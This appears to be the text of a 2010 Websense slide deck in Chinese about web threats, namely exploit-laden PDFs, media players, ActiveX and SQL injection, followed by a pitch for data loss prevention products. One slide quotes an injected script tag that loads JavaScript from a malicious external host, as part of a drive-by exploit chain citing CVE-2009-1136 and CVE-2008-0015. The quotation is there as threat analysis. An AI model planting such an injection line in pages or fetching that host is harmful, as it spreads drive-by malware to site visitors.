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• 問題在哪裡?
• 它們是如何做到的?

• 當前是如何解決的以及不足之處

• 我們是怎麼解決這個問題的



Top 10 Web攻擊成因

1. 流覽器漏洞
2. 流氓反病毒/社交
3. SQL注入
4. 惡意的Web 2.0組件 (Web
外掛程式,標題廣告)

5. Adobe Flash漏洞

6. DNS緩存毒化以及 DNS 
Zone文件劫持

7. ActiveX漏洞
8. RealPlayer漏洞
9. Apple QuickTime漏洞
10. Adobe Acrobat Reader PDF
漏洞



你有多頻繁…
打開一個PDF文檔?



Adobe PDF和 Flash



Adobe PDF和 Flash



Adobe PDF和 Flash

這個 PDF通過惡意連結傳播——該惡意的PDF放
在正規的、但被攻擊破壞了的網站上

(Web名譽系統對這類被攻擊破壞過的網站沒有防
禦能力)

從報導出現至Adobe補丁發佈: ~ 1 week

AV系統在檢測木馬方面做得有多好呢?





IT安全管理員能說， “嘿，大家在接下來的一周左右不要
打開PDF文件，謝謝!”嗎?



Adobe PDF和 Flash

再想像一下這種情況發生在
微軟 Office的Word, Excel, 
PPT…



Apple QuickTime

QuickTime不僅僅是一個你可以下載的
檔——它還能在你的流覽器中播放

當流覽一個有QuickTime剪輯的網站
時——該檔通常立即開始播放



Apple QuickTime

以前, QuickTime更新7.5.5打了 9個可能被“特殊打
造”的QuickTime檔觸發的漏洞補丁

簡單地說，這意味著:
1. 點選連結，訪問帶有設置好陷阱的視訊短片
2. 你的電腦就已經感染了木馬

現在，想像一下這種情況發生在
Shockwave Flash, (或其它任何播放
視頻的軟體)



ActiveX控制項

目的:使簡單的Web網站對底層的作業
系統具有更大的控制能力



ActiveX控制項



Microsoft IE流覽器

每月第二個星期二，微軟發佈補丁，
注意發佈中的說明:
“攻擊者能夠通過一個特殊定制的網頁來探
索漏洞。”

“當用戶流覽這個網頁時，該漏洞能允許遠
端執行代碼。”



• 問題是什麼?

• 當前是如何解決的以及不足之處

• 我們是如何解決這個問題的

• 它們是如何做到的?





網站注入攻擊原理

Internet

入侵者

受害者

特殊查詢語句

Web伺服器

資料庫伺服器

缺少判斷
執行特殊查詢 返回查詢結果

得到網站用戶名密碼等資訊

訪問被掛馬網站

登錄後臺，插入網馬連結



網站注入掃描器



木馬生成器



給我們的啟示

– 雖然你的系統沒有漏洞，但是它安全嗎？
– 提供服務的系統更是應該注意
– 對於Web伺服器，要及其關注於腳本的安全

• 是否有不適當的讀寫檔權利
• 是否已經刪除了不再需要的檔
• 對於用戶的輸入是否進行過濾和判斷

– 不能過分迷信防火牆
• 駭客們可以想出種種穿透防火牆的方法
• 原因：防火牆總是打開一些埠，允許一些網路連接的

– 使用者需要做的
• 注意、注意、再注意



• 當前是如何解決的以及不足之
處

• 問題是什麼?

• 它們是如何做到的?

• 我們是如何解決這些問題的



大品牌的網站並不能免疫



大品牌的網站並不能免疫

加拿大MSN網站 Sympatico



惡意軟體 vs惡意程式碼

重要的不同:
–傳統的惡意軟體需要使用者交互 (例如，按兩下
檔以“打開”)

–惡意程式碼不需要人工幹預。因此，它“自動下
載”。立即感染，無需用戶參與。



惡意程式碼

惡意程式碼不需要使用者參與!!



動態變化的市場環境

威脅環境在變
– Web 2.0帶來了機會但也產生了新的風險
– 混合攻擊增加了資料洩漏的風險
– 法規遵從要求必須有基於內容的安全方案

傳統的解決方案無效
– 注重於基礎設施，而不是資料
– 單一的通訊管道
– 靜態的、基於簽名方案，缺少對業務的理解

遷移到集成的內容感知的以資料為中
心的安全解決方案

The top 100 most 
popular Web 
sites,many of 

which are social 
networking,Web 2.0

and search sites,  
are themost 

popular target for 
attackers.



僅靠名譽分析是不夠的



僅靠名譽分析是不夠的



僅靠名譽分析是不夠的



僅靠名譽分析是不夠的



名譽分析無法分析……

這些 URL在缺少主動發現威脅手段的前提下，難
以發現

他們不能——而且他們的一些客戶將成為“第一個
倒下的”



• 問題在哪裡?

• 它們是如何做到的?

• 目前是如何解決的以及不足之處

• 我們是如何解決這個問題的



安全實驗室的職責

• 需要各類分析人員
– 郵件威脅
– Web安全
– 數據洩漏

• 熟悉各類專業領域：
– 開發

• Windows內核分析
• C++,彙編，Java等

– 反向工程
• PE病毒分析
• 解殼分析
• 程式調試

– 漏洞和攻擊腳本分析
– IDS和IPS

• 數據在3個研究中心之間關聯分析



發現各類威脅－－資料收集

Web安全收集系統

特有資料收集、挖掘、分析流程

每週資料採擷超過6個億個網站

導入並監控數以百萬計的功能變數名稱記錄，註冊資
訊及

自動演算法檢查可疑URL和應用程式

24x7不間斷分析，每天超過1 TB的資料收集量



HT引擎分析過程



未知病毒檢測

五大殺毒公司未發佈程式之前檢測最新的未知病毒



未知病毒分佈

不同的未知病毒的類型分佈



Attack Profile –惡意搜尋引擎優化

把握搜尋引擎優化,提高惡意網站的排名,令不為意的使用者點擊病
毒



Attack Profile –惡意轉向

<script src=http://f1y.in/j.js></script>

jatfa.com/dada/index.html

js.tongji.linezig.com/...
vcqm.htm

js.js

vcqm.htm
vcfl.htm
vcf11.htm
of.htm
z.htm
vcvod.htm
vcxxz.htm
vcr.htm

-> Flash Player exploit

-> of.htm -> of.js -> OWC exploit (CVE-2009-1136)
-> logo.jpg -> go.jpg, go1.jpg -> MS Video exploit(CVE-2008-0015)
-> Qvod exploit

-> RealPlayer exploit

http://f1y.in/j.js></script>


互聯網安全狀況的亮點

2009年下半年與2008年同期相比，惡意網站增長了225%。

71%的網站惡意程式碼駐留在合法網站上

中國 (17.2%)在惡意程式碼宿主國中仍排名第二。與以前一樣，大多
數惡意軟體仍連結到註冊在美國的那些網站 (51.4%)。

35%的Web攻擊包含資料竊取代碼

Web &郵件威脅逐步混合
5年前，郵件中附帶惡意軟體
如今，大多件惡意軟體通過URL傳遞
90.4%的垃圾郵件包含URL



總結

關注安全問題

– 只要你上網，你的系統就處在危險之中
– 安全的問題越來越嚴重

• 攻擊的種類越來越多
• 工具越來越複雜
• 攻擊手段越來越隱蔽
• 攻擊的威力越來越大
• 後果越來越嚴重
• 由於工具的公開，可以實施攻擊的人越來越多

– 面對的最大問題：大多數人沒有意識到安全的重要
性



防洩密–我們的挑戰



資料外泄–我們面臨的挑戰

管理風險及確保法規遵循
– Delays in generating audit reports and 

compliance requirements
– Difficulty uncovering broken or bad business 

processes

確保資料的可視性–不論是資料正在
移動或是儲存於媒體內
– Unknown types of data
– Uncertain risks for each communication 

channels

確保正確的企業流程
– Cannot enforce who can send what
– Possible damage to company brand and 

reputation

在管理風險及確保法規遵循、避免資料外泄、確認企業流程
的同時，確保企業流程不致中斷

© 2010 Websense, Inc. All rights reserved.



我們該怎麼看機密防護的問題?
Socio-Technical System (社會科技系統模式)



防洩密是一個複雜資訊系統問題



我該如何選擇?

47

問題

我該先安內(管理使用者)
還是壤外(防止駭客攻擊) ?

問題

我該封鎖管道(USB/Web?)
還是監控內容?



市場上號稱可協助防止洩密的產品

內部使用者外部使用者

內
容

管
道

Web FW

IPS

Anti-Malware

Firewall

DB加密 DB稽核

流量側錄

NAC 周邊控管

DRM
文管系統

垃圾郵件

郵件側錄

檔案加密

Data Loss
Prevention

網頁過濾



碰到資安問題時我們可採取的措施

拒絕風險(Deny Risk)

降低風險(Reduce/Mitigate Risk)

接受風險(Accept Risk)



市場上號稱可協助防止洩密的產品

內部使用者外部使用者

內
容

管
道

Web FW

IPS

Anti-Malware

Firewall

DB加密 DB稽核

流量側錄

NAC 周邊控管

DRM
文管系統

垃圾郵件

郵件側錄

檔案加密

Data Loss
Prevention

網頁過濾



DLP的迷思 封鎖=安全?

透過封鎖基礎建設
來防堵洩密不是長久之計

封鎖的方式將限制企業
獲益於新的技術來拓展業務

無法預測使用者
透過何種方式突破封鎖
以完成他們的工作目標

Almost 50% of all IT managers surveyed admit 
their users try to bypass security policies.

(Web 2.0 @ Work, International Survey)

Almost 50% of all IT managers surveyed admit 
their users try to bypass security policies.

(Web 2.0 @ Work, International Survey)

© 2010 Websense, Inc. All rights reserved.



© 2010 Websense, Inc. All rights reserved.

Websense Confidential

我該如何防止機密外泄?



DLP不是只有封鎖…



現在缺少的是… ?

“If you have to leave it 
open, it’s a business 

channel”

Channels necessary for the operation of the business

Channel Business?
E-Mail (SMTP) ü

Web (HTTP) ü

Printer ü

USB key ü

FTP ?
Instant Messenger û

P2P File Sharing û



現在缺少的是… ?

•Firewall
•Other

Non-Business channels are easier to deal with.

Channel Business?
E-Mail (SMTP) ü

Web (HTTP) ü

Printer ü

USB Key ü

FTP ?
Instant Messenger û

P2P File Sharing û



Business Channels

By looking at the data moving across those channels

Business channels cannot be blocked and must have 
compensating controls

Channel Business?
E-Mail (SMTP) ü

Web (HTTP) ü

Printer ü

USB Key ü

FTP ?
Instant Messenger û

P2P File Sharing û



So, what do we do?

•阻擋非與業務相關的通訊管道
•P2P ? Skype ? IM ?

•在合法通行的管道上監控流量並分析內容
•篩選可疑的事件
•在通訊內容之中套用安全政策進行過濾
•針對事件等級採取即時的處理方式，示
警、隔離緩送、通報及阻擋

重點在於如何分析內容 ??
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內容感知防洩密系統



網路/終端防洩密應監控管理
哪些通訊管道?



內部網路
LAN

於「閘道端」可監控通道類型

網際網路
Internet

電子郵件
SMTP (本文與附件)
包含透過公司mail 
server寄送與直接由
外部寄送的信件

透過閘道對外的傳輸
例如: HTTP(s) 

(Web-Mail,社交網站,部落
格、網路硬碟、討論區)

其他通訊協定: 
FTP, IM(MSN…) 



於「端點Endpoint」可監控通道類型

Endpoint

USB
隨身碟、外接硬碟
寫出資料

透過3.5G網卡
WiFi無線上網
上網(HTTP/HTTPS) CD/DVD燒錄

SmartPhone
iPhone寫出資料

印表機印出數據

透過LAN
向「網路芳鄰」
寫出資料

於應用程式中
Copy / Paste資料



在這些管道上
如何分析內容防止洩密?



Content Aware「內容感知」

Database Fingerprinting
資料庫記錄指紋

Categorization
自動分類

Partial Document Match
檔部分符合

Exact File Match
相同檔案比對

Pattern Matching
特徵比對

Full-text Extraction
檔案格式分析萃取

01
11

01
01

01
01

11



PreciseID是如何運作的?

•針對外送的內容
•(E-mail, Web, Fax,

•Print, ...)

•0x9678A

•0x59A06

•即時偵測:

•Extract

•自然語言
分析演算法

•01011100
110100110
000101100 
100100

•單向數學
函數轉換

•0x1678A
•0x461BD

•0x66A1A

•0x6678A
•0x4D181
•0xB678A

•01011100
11010011
00001011
00 100100 
1000111 
01110101
01101011
0110011 
0111101

•萃取出資料庫
紀錄或檔內容

•自然語言
分析演算法

•單向數學
函數轉換

•指紋建立作業:

•0xB6751
•0xB61C1
•0x37CB2
•0x5BD41
•0x190C1
•0x93005
•0x590A9
•0xA0001 •0xB6751

•0xB61C1
•0x37CB2
•0x5BD41
•0x190C1
•0x93005
•0x590A9
•0xA0001

•Extract

•儲存為指紋
與索引

•0x5BD41
•0x190C1
•0x93005

•指紋生成

•即時指紋比對



如何防護資料庫中資料外泄

客戶名稱 身分證字型大小 聯絡電話 行動電話 出生日期

楊宗尾 N100145XXX (02)2325-58XX 0912-3456XX 1951/5/23

林幼佳 X100058XXX (02)2266-55XX 0987-6543XX 1923/9/15

潘欲聞 L200552XXX (02)2325-58XX 0912-3456XX 1953/5/11

梨會騎 N101290XXX (02)2266-55XX 0987-6543XX 1954/3/22

服窮音 L101832XXX (02)2325-58XX 0912-3456XX 1955/1/25

陶金銀 L121942XXX (02)2266-55XX 0987-6543XX 1962/12/2

利精 B120231XXX (02)2325-58XX 0912-3456XX 1961/6/20

王痣平 L200547XXX (02)2266-55XX 0987-6543XX 1938/12/23

小胖 B120897XXX (02)2325-58XX 0912-3456XX 1965/10/9

張與 B200002XXX (02)2266-55XX 0987-6543XX 1932/2/1

林稚齡 B200720XXX (02)2325-58XX 0912-3456XX 1927/7/16

蔡一零 L100580XXX (02)2266-55XX 0987-6543XX 1943/9/23

李啟龍 L200473XXX (02)2325-58XX 0912-3456XX 1950/4/12



目前的資料流程

Database

Database

CRM

ERP

內部檔案
分享

eMail, http, msn, ftp

USB, Copy&Paste, Print

解決方案

ü由資料來源(資料庫)學習
ü新增系統立即保護
ü不影響現有流程
ü提供端點以及閘道的防護
ü監控”資料流程”預防洩密

正常的資料查詢
透過Web App以及專屬
應用程式進行資料查詢

洩密資料流程
行員查詢到資料後，剪貼到其他
地方(webmail, USB等等)並傳送



範例:使用者透過Webmail或是其他上
傳網站洩密
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導入實務探討





導入實務探討–該如何規劃DLP專案 ?

從網路著手?

– 優點
• 佈署較為單純
• 可以大量的涵蓋網路中
的電腦並分析行為

– 缺點
• 離開公司網路後行為無
法稽核

• 周邊控管

從端點著手?

– 優點
• 離開公司後也可控管
• 可控管端點資料行為

– 缺點
• 影響電腦效能
• 與現有端點軟體相容性?

• 影響使用者日常操作
• 會觸發大量事件
• 佈署較為困難

Best Practice
支援端點及網路兩種架構

初期由網路開始佈署 分析使用者行為
第二階段再於進行控管的主機佈署代理程式



導入實務探討–設計的考慮

涵蓋現有的通訊管道(Business Channel)
– 解決方案應該要涵蓋現有的業務通訊管道，至少包含SMTP, 

IM, and HTTP(s)
– 其他的非業務相關管道 (e.g. P2P, backdoor)應該可以被控管
或是阻擋

應該考慮與現有基礎建設的整合
– 解決方案應該能跟現有的基礎建設投資整合 (Proxy Server, 

Mail Server[Linux MTA, Exchange, IIS SMTP, Notes] , Web Filtering)

隱藏在解決方案後的成本
– 除瞭解決方案本身，是不是需要額外添購設備或是有額外的管
理成本?比如複雜的系統安裝流程、外掛的資料庫授權等

– 進入阻擋階段是不是需要額外添購昂貴的硬體設備?各階段需
要投資的專案是否有清楚列出?



Confidential 
documents

導入實務探討–該如何規劃DLP專案 ?
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PCI DSS

HIPAA

GLBA, EU DPA

Sarbox

Customer 
data

機密分級
建立指紋資
料庫

稽核|保護

Databases

File servers

報表 檢討|修正

Compliance

IT Risk 
Management

Fingerprints

Known locations Throughout the enterpriseConfidential Data

File, Record Removal

Change file permissions

Status, Inventory Assign to data owners

Tombstone
s

Ransom Notes

> Chmod +r –w -x

0x5BD41
0x190C1
0x93005

Encryption

User Desktops

Web

Email

IM



常見的問題討論

我要把所有流量紀錄下來備查，你們的系統能做到嗎?

DLP系統是否能夠100%保證防洩密? (以下省略諸多特
殊情境)如果不能夠100%防洩密，為何我要採用DLP解
決方案?

我不知道，公司也沒有人知道機密資料在哪裡。

我不想被複雜的資料分級專案搞得滿頭包–你們的系統
可以自動分類分級嗎?

你們的系統學習(掃描) XX GB/TB要多久的時間?


